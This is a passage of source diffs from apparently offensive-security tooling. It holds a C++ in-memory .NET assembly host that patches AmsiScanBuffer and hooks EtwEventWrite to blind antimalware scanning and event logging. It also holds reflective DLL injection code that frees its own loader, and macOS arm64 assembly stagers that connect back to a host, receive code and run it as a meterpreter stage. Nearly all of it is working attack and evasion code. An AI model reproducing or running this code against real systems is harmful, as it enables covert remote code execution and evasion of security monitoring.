FlushFileBuffers(pipe);
|
||||
DisconnectNamedPipe(pipe);
|
||||
CloseHandle(pipe);
|
||||
|
||||
if (pEnumerator) {
|
||||
pEnumerator->Release();
|
||||
}
|
||||
if (pMetaHost) {
|
||||
pMetaHost->Release();
|
||||
}
|
||||
if (pRuntimeInfo) {
|
||||
pRuntimeInfo->Release();
|
||||
}
|
||||
|
||||
if (pRuntimeHost) {
|
||||
if (pCustomAppDomain) {
|
||||
pRuntimeHost->UnloadDomain(pCustomAppDomain);
|
||||
}
|
||||
pRuntimeHost->Release();
|
||||
}
|
||||
|
||||
if (psaStaticMethodArgs) {
|
||||
SafeArrayDestroy(psaStaticMethodArgs);
|
||||
}
|
||||
if (pSafeArray) {
|
||||
SafeArrayDestroy(pSafeArray);
|
||||
}
|
||||
|
||||
if (appdomainName) {
|
||||
free(appdomainName);
|
||||
}
|
||||
|
||||
if (clrVersion) {
|
||||
free(clrVersion);
|
||||
}
|
||||
if (clrVersion_w) {
|
||||
delete[] clrVersion_w;
|
||||
}
|
||||
|
||||
if (arg_s) {
|
||||
free(arg_s);
|
||||
}
|
||||
|
||||
if (appdomainName_w) {
|
||||
delete[] appdomainName_w;
|
||||
}
|
||||
|
||||
return hr;
|
||||
}
|
||||
|
||||
VOID Execute(LPVOID lpPayload)
|
||||
{
|
||||
if (!AttachConsole(-1))
|
||||
// Attach or create console
|
||||
if (GetConsoleWindow() == NULL) {
|
||||
AllocConsole();
|
||||
HWND wnd = GetConsoleWindow();
|
||||
if (wnd)
|
||||
ShowWindow(wnd, SW_HIDE);
|
||||
}
|
||||
|
||||
executeSharp(lpPayload);
|
||||
|
||||
}
|
||||
|
||||
BOOL FindVersion(void * assembly, int length)
|
||||
{
|
||||
char* assembly_c;
|
||||
assembly_c = (char*)assembly;
|
||||
HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
HANDLE stdErr = GetStdHandle(STD_ERROR_HANDLE);
|
||||
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
for (int j = 0; j < 10; j++)
|
||||
{
|
||||
if (sig_40[j] != assembly_c[i + j])
|
||||
{
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (j == (9))
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
executeSharp(lpPayload);
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, stdOut);
|
||||
SetStdHandle(STD_ERROR_HANDLE, stdErr);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ULONG NTAPI MyEtwEventWrite(
|
||||
__in REGHANDLE RegHandle,
|
||||
__in PCEVENT_DESCRIPTOR EventDescriptor,
|
||||
__in ULONG UserDataCount,
|
||||
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData)
|
||||
{
|
||||
ULONG uResult = 0;
|
||||
|
||||
_EtwEventWriteFull EtwEventWriteFull = (_EtwEventWriteFull)
|
||||
GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWriteFull");
|
||||
if (EtwEventWriteFull == NULL) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
switch (EventDescriptor->Id) {
|
||||
case AssemblyDCStart_V1:
|
||||
// Block CLR assembly loading events.
|
||||
break;
|
||||
case MethodLoadVerbose_V1:
|
||||
// Block CLR method loading events.
|
||||
break;
|
||||
case ILStubGenerated:
|
||||
// Block MSIL stub generation events.
|
||||
break;
|
||||
default:
|
||||
// Forward all other ETW events using EtwEventWriteFull.
|
||||
uResult = EtwEventWriteFull(RegHandle, EventDescriptor, 0, NULL, NULL, UserDataCount, UserData);
|
||||
}
|
||||
|
||||
return uResult;
|
||||
}
|
||||
|
||||
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize) {
|
||||
INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {
|
||||
PNT_TIB pTIB = NULL;
|
||||
PTEB pTEB = NULL;
|
||||
PPEB pPEB = NULL;
|
||||
@@ -450,55 +514,52 @@ INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL PatchEtw()
|
||||
BOOL PatchEtw(HANDLE pipe)
|
||||
{
|
||||
HMODULE lib = LoadLibraryA("ntdll.dll");
|
||||
if (lib == NULL)
|
||||
{
|
||||
wprintf(L"Cannot load ntdll.dll");
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load ntdll.dll");
|
||||
return -2;
|
||||
}
|
||||
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
|
||||
if (lpFuncAddress == NULL)
|
||||
{
|
||||
wprintf(L"Cannot get address of EtwEventWrite");
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of EtwEventWrite");
|
||||
return -2;
|
||||
}
|
||||
|
||||
// Add address of hook function to patch.
|
||||
*(DWORD64*)&uHook[2] = (DWORD64)MyEtwEventWrite;
|
||||
|
||||
return InlinePatch(lpFuncAddress, uHook,sizeof(uHook));
|
||||
return InlinePatch(lpFuncAddress, uHook, sizeof(uHook));
|
||||
}
|
||||
|
||||
BOOL PatchAmsi()
|
||||
BOOL PatchAmsi(HANDLE pipe)
|
||||
{
|
||||
|
||||
HMODULE lib = LoadLibraryA("amsi.dll");
|
||||
if (lib == NULL)
|
||||
{
|
||||
printf("Cannot load amsi.dll");
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load amsi.dll");
|
||||
return -2;
|
||||
}
|
||||
|
||||
LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");
|
||||
if(addr == NULL)
|
||||
if (addr == NULL)
|
||||
{
|
||||
printf("Cannot get address of AmsiScanBuffer");
|
||||
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of AmsiScanBuffer");
|
||||
return -2;
|
||||
}
|
||||
|
||||
return InlinePatch(addr, amsipatch, sizeof(amsipatch));
|
||||
}
|
||||
|
||||
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo) {
|
||||
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {
|
||||
HRESULT hr;
|
||||
ULONG fetched = 0;
|
||||
DWORD vbSize;
|
||||
BOOL retval = FALSE;
|
||||
wchar_t currentversion[260];
|
||||
|
||||
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown **)&pRuntimeInfo, &fetched)) && fetched > 0)
|
||||
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)&pRuntimeInfo, &fetched)) && fetched > 0)
|
||||
{
|
||||
hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
|
||||
if (!FAILED(hr))
|
||||
@@ -509,11 +570,8 @@ BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID * pRuntimeIn
|
||||
break;
|
||||
}
|
||||
}
|
||||
((ICLRRuntimeInfo*)pRuntimeInfo)->Release();
|
||||
}
|
||||
|
||||
return retval;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
@@ -18,6 +18,6 @@ using namespace mscorlib;
|
||||
|
||||
VOID Execute(LPVOID lpPayload);
|
||||
BOOL FindVersion(void * assembly, int length);
|
||||
BOOL PatchAmsi();
|
||||
BOOL PatchAmsi(HANDLE pipe);
|
||||
BOOL ClrIsLoaded(LPCWSTR versione, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo);
|
||||
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize);
|
||||
|
||||
@@ -94,7 +94,7 @@
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
@@ -106,7 +106,7 @@
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
@@ -121,7 +121,7 @@
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalLibraryDirectories>C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\amd64</AdditionalLibraryDirectories>
|
||||
@@ -140,7 +140,7 @@
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalLibraryDirectories>C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\amd64</AdditionalLibraryDirectories>
|
||||
@@ -150,6 +150,7 @@
|
||||
<ClInclude Include="EtwTamper.h" />
|
||||
<ClInclude Include="HostingCLR.h" />
|
||||
<ClInclude Include="ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="ReflectiveFree.h" />
|
||||
<ClInclude Include="ReflectiveLoader.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
@@ -157,6 +158,7 @@
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Executer.cpp" />
|
||||
<ClCompile Include="HostingCLR.cpp" />
|
||||
<ClCompile Include="ReflectiveFree.cpp" />
|
||||
<ClCompile Include="ReflectiveLoader.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
|
||||
@@ -1,56 +1,62 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Sources">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Headers">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resources">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveLoader.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveDLLInjection.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="HostingCLR.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EtwTamper.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="HostingCLR.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Executer.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ReflectiveLoader.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Syscalls.asm">
|
||||
<Filter>Sources</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Sources">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Headers">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resources">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveLoader.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveDLLInjection.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="HostingCLR.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EtwTamper.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveFree.h">
|
||||
<Filter>Headers</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="HostingCLR.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Executer.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ReflectiveLoader.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ReflectiveFree.cpp">
|
||||
<Filter>Sources</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Syscalls.asm">
|
||||
<Filter>Sources</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
#include "stdafx.h"
|
||||
#include "ReflectiveFree.h"
|
||||
#include <Windows.h>
|
||||
|
||||
typedef NTSTATUS
|
||||
(*NtQueueApcThread)(
|
||||
HANDLE ThreadHandle,
|
||||
PVOID ApcRoutine,
|
||||
ULONG_PTR SystemArgument1,
|
||||
ULONG_PTR SystemArgument2,
|
||||
ULONG_PTR SystemArgument3
|
||||
);
|
||||
|
||||
|
||||
VOID ReflectiveFree(HINSTANCE hAppInstance) {
|
||||
NtQueueApcThread pNtQueueApcThread = (NtQueueApcThread)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueueApcThread");
|
||||
HANDLE hThread = NULL;
|
||||
HANDLE hThisThread = NULL;
|
||||
do {
|
||||
if (!pNtQueueApcThread)
|
||||
break;
|
||||
|
||||
// create a suspended thread that will just exit once the APCs have executed
|
||||
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ExitThread, 0, CREATE_SUSPENDED, NULL);
|
||||
if (!hThread)
|
||||
break;
|
||||
|
||||
// open a real handle to this thread to pass in the APC so it operates on this thread and not itself
|
||||
hThisThread = OpenThread(THREAD_QUERY_INFORMATION | SYNCHRONIZE, FALSE, GetCurrentThreadId());
|
||||
if (!hThisThread)
|
||||
break;
|
||||
|
||||
// tell that thread to wait on this thread, ensures VirtualFree isn't called until this thread has exited
|
||||
NTSTATUS status = pNtQueueApcThread(hThread, WaitForSingleObjectEx, (ULONG_PTR)hThisThread, INFINITE, FALSE);
|
||||
|
||||
// then close the handle so it's not leaked
|
||||
DWORD result = QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread);
|
||||
// then free the memory
|
||||
status = pNtQueueApcThread(hThread, VirtualFree, (ULONG_PTR)hAppInstance, 0, MEM_RELEASE);
|
||||
ResumeThread(hThread);
|
||||
} while (FALSE);
|
||||
|
||||
if (hThread)
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode) {
|
||||
ReflectiveFree(hAppInstance);
|
||||
|
||||
ExitThread(dwExitCode);
|
||||
return;
|
||||
}
|
||||
+6
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode);
|
||||
VOID ReflectiveFree(HINSTANCE hAppInstance);
|
||||
@@ -27,6 +27,7 @@
|
||||
//===============================================================================================//
|
||||
#include "stdafx.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "ReflectiveFree.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
@@ -74,6 +75,7 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
ULONG_PTR uiLibraryAddressOrig;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
@@ -116,6 +118,7 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
uiLibraryAddressOrig = uiLibraryAddress;
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
@@ -529,6 +532,9 @@ DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
|
||||
// Free the loader itself
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiLibraryAddressOrig, DLL_PROCESS_DETACH, NULL);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
// Compile: clang stage_mettle.s
|
||||
// Shellcode: objdump -d a.out | cut -d ' ' -f 2-5 | cut -d ' ' -f 2- | ruby tools/payloads/format_aarch64.rb
|
||||
.equ SYS_RECVFROM, 0x200001d
|
||||
.equ SYS_MPROTECT, 0x200004a
|
||||
.equ SYS_MMAP, 0x20000c5
|
||||
.equ SYS_EXIT, 0x2000001
|
||||
|
||||
.global _main
|
||||
_main:
|
||||
/* mmap(addr=0, length=stager_size, prot=0x2 (PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=0, offset=0) */
|
||||
mov x0, xzr
|
||||
adr x1, stager_size
|
||||
ldr x1, [x1]
|
||||
mov x2, #2
|
||||
mov x3, #0x1002
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
|
||||
/* sockfd is in x13 */
|
||||
mov x10, x0
|
||||
|
||||
/* recvfrom(sockfd='x13', address='x10', length=stager_size, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
|
||||
mov x0, x13
|
||||
mov x1, x10
|
||||
adr x2, stager_size
|
||||
ldr x2, [x2]
|
||||
mov x3, #0x40
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_RECVFROM
|
||||
svc 0
|
||||
|
||||
/* mprotect(addr='x10', length=stager_size, prot=0x5 (PROT_READ | PROT_EXEC)) */
|
||||
mov x0, x10
|
||||
adr x1, stager_size
|
||||
ldr x1, [x1]
|
||||
mov x2, #5
|
||||
ldr x16, =SYS_MPROTECT
|
||||
svc 0
|
||||
|
||||
/* mmap(addr=0, length=payload_size, prot=3 (PROT_READ | PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=0, offset=0) */
|
||||
mov x0, xzr
|
||||
adr x1, payload_size
|
||||
ldr x1, [x1]
|
||||
mov x2, #3
|
||||
mov x3, #0x1002
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
|
||||
mov x11, x0
|
||||
|
||||
/* recvfrom(sockfd='x13', address='x11', length=payload_size, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
|
||||
mov x0, x13
|
||||
mov x1, x11
|
||||
adr x2, payload_size
|
||||
ldr x2, [x2]
|
||||
mov x3, #0x40
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_RECVFROM
|
||||
svc 0
|
||||
|
||||
/* add entry_offset */
|
||||
adr x0, entry_offset
|
||||
ldr x0, [x0]
|
||||
add x0, x0, x10
|
||||
adr x10, payload_size
|
||||
ldr x10, [x10]
|
||||
mov x12, x11
|
||||
mov x15, x0
|
||||
|
||||
/* make stack space */
|
||||
/* mmap(addr=0, length=0x40000, prot=3 (PROT_READ | PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=0, offset=0) */
|
||||
mov x0, xzr
|
||||
mov x1, 0x40000
|
||||
mov x2, 3
|
||||
mov x3, 0x1002
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
//mov x1, sp
|
||||
//bic sp, x1, #15
|
||||
//sub sp, sp, 0x1000
|
||||
add x0, x0, 0x20000
|
||||
mov sp, x0
|
||||
|
||||
mov x0, x13
|
||||
|
||||
/* jump to main_osx */
|
||||
blr x15
|
||||
|
||||
failed:
|
||||
mov x0, 0
|
||||
ldr x16, =SYS_EXIT
|
||||
svc 0
|
||||
|
||||
.balign 16
|
||||
stager_size:
|
||||
.word 0x4242
|
||||
.word 0x4343
|
||||
payload_size:
|
||||
.word 0x4444
|
||||
.word 0x4545
|
||||
entry_offset:
|
||||
.word 0x4646
|
||||
.word 0x4747
|
||||
@@ -0,0 +1,120 @@
|
||||
// Compile: clang stager_sock_reverse.s
|
||||
// Shellcode: objdump -d a.out | cut -d ' ' -f 2- | ruby tools/payloads/format_aarch64.rb
|
||||
.equ SYS_RECVFROM, 0x200001d
|
||||
.equ SYS_MPROTECT, 0x200004a
|
||||
.equ SYS_CONNECT, 0x2000062
|
||||
.equ SYS_SELECT, 0x200005d
|
||||
.equ SYS_SOCKET, 0x2000061
|
||||
.equ SYS_MMAP, 0x20000c5
|
||||
.equ SYS_EXIT, 0x2000001
|
||||
|
||||
.equ AF_INET, 0x2
|
||||
.equ SOCK_STREAM, 0x1
|
||||
|
||||
.equ STDIN, 0x0
|
||||
.equ STDOUT, 0x1
|
||||
.equ STDERR, 0x2
|
||||
|
||||
.equ IP, 0x0100007f
|
||||
.equ PORT, 0x5C11
|
||||
|
||||
.global _main
|
||||
_main:
|
||||
/* mmap(addr=0, length=328, prot=0x2 (PROT_WRITE), flags=0x1002 (MAP_PRIVATE | MAP_ANON), fd=-1, offset=0) */
|
||||
mov x0, xzr
|
||||
mov x1, #328
|
||||
mov x2, #2
|
||||
mov x3, #0x1002
|
||||
mvn x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_MMAP
|
||||
svc 0
|
||||
cmn x0, #0x1
|
||||
beq failed
|
||||
|
||||
/* save retry_count */
|
||||
mov x12, x0
|
||||
mov x10, 0
|
||||
adr x11, retry_count
|
||||
ldr x11, [x11]
|
||||
|
||||
/* socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
|
||||
socket:
|
||||
mov x0, AF_INET
|
||||
mov x1, SOCK_STREAM
|
||||
mov x2, 0
|
||||
ldr x16, =SYS_SOCKET
|
||||
svc 0
|
||||
//cbz w0, retry
|
||||
|
||||
mov x13, x0
|
||||
|
||||
/* connect(sockfd, socket={AF_INET,4444,127.0.0.1}, socklen_t=16) */
|
||||
adr x1, caddr
|
||||
ldr x1, [x1]
|
||||
str x1, [sp, #-8]!
|
||||
mov x1, sp
|
||||
mov x2, 16
|
||||
ldr x16, =SYS_CONNECT
|
||||
svc 0
|
||||
//cbnz w0, retry
|
||||
|
||||
/* recvfrom(sockfd='x13', address='x12', length=328, flags=0x40 (MSG_WAITALL), from=0, fromlenaddr=0) */
|
||||
mov x0, x13
|
||||
mov x1, x12
|
||||
mov x2, #328
|
||||
mov x3, #0x40
|
||||
mov x4, xzr
|
||||
mov x5, xzr
|
||||
ldr x16, =SYS_RECVFROM
|
||||
svc 0
|
||||
//cbnz w0, retry
|
||||
|
||||
/* mprotect(addr, length=328, prot=0x5 (PROT_READ | PROT_EXEC)) */
|
||||
mov x0, x12
|
||||
mov x1, #328
|
||||
mov x2, #5
|
||||
ldr x16, =SYS_MPROTECT
|
||||
svc 0
|
||||
|
||||
br x12
|
||||
|
||||
retry:
|
||||
sub x11, x11, #1
|
||||
cmp x11, 0
|
||||
beq failed
|
||||
|
||||
/* select(0, 0, 0, 0, &{sleep_nanoseconds, sleep_seconds}) */
|
||||
mov x0, 0
|
||||
mov x1, 0
|
||||
adr x2, sleep_nanoseconds
|
||||
ldr x2, [x2]
|
||||
adr x3, sleep_seconds
|
||||
ldr x3, [x3]
|
||||
stp x3, x2, [sp, #-16]!
|
||||
mov x4, sp
|
||||
mov x2, 0
|
||||
mov x3, 0
|
||||
ldr x16, =SYS_SELECT
|
||||
svc 0
|
||||
bal socket
|
||||
|
||||
failed:
|
||||
mov x0, 0x1
|
||||
ldr x16, =SYS_EXIT
|
||||
svc 0
|
||||
|
||||
.balign 16
|
||||
caddr:
|
||||
.short AF_INET
|
||||
.short PORT
|
||||
.word IP
|
||||
retry_count:
|
||||
.word 0x4242
|
||||
.word 0x4242
|
||||
sleep_nanoseconds:
|
||||
.word 0x4343
|
||||
.word 0x4343
|
||||
sleep_seconds:
|
||||
.word 0x4444
|
||||
.word 0x4444
|
||||
@@ -0,0 +1,4 @@
|
||||
x64_osx_stage
|
||||
x64_osx_stage_debug
|
||||
aarch64_osx_stage
|
||||
aarch64_osx_stage_debug
|
||||
+29
-9
@@ -1,19 +1,39 @@
|
||||
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
|
||||
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
|
||||
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
|
||||
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
|
||||
GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64
|
||||
GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64
|
||||
|
||||
all: clean main_osx
|
||||
all: clean x64_osx_stage aarch64_osx_stage
|
||||
|
||||
main_osx: main.c
|
||||
$(GCC_OSX) -o $@ $^
|
||||
debug: clean x64_osx_stage_debug aarch64_osx_stage_debug
|
||||
|
||||
install: main_osx
|
||||
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
|
||||
x64_osx_stage: main.c
|
||||
$(GCC_OSX_X64) -o $@ $^
|
||||
|
||||
shellcode: install
|
||||
otool -tv main_osx
|
||||
x64_osx_stage_debug: main.c
|
||||
$(GCC_OSX_X64) -D DEBUG -o $@ $^ printf/printf.c
|
||||
|
||||
aarch64_osx_stage: main.c
|
||||
$(GCC_OSX_AARCH64) -o $@ $^
|
||||
|
||||
aarch64_osx_stage_debug: main.c
|
||||
$(GCC_OSX_AARCH64) -D DEBUG -o $@ $^ printf/printf.c
|
||||
|
||||
install: x64_osx_stage aarch64_osx_stage
|
||||
cp x64_osx_stage ../../../../../data/meterpreter/x64_osx_stage
|
||||
cp aarch64_osx_stage ../../../../../data/meterpreter/aarch64_osx_stage
|
||||
|
||||
install_debug: x64_osx_stage_debug aarch64_osx_stage_debug
|
||||
cp x64_osx_stage_debug ../../../../../data/meterpreter/x64_osx_stage
|
||||
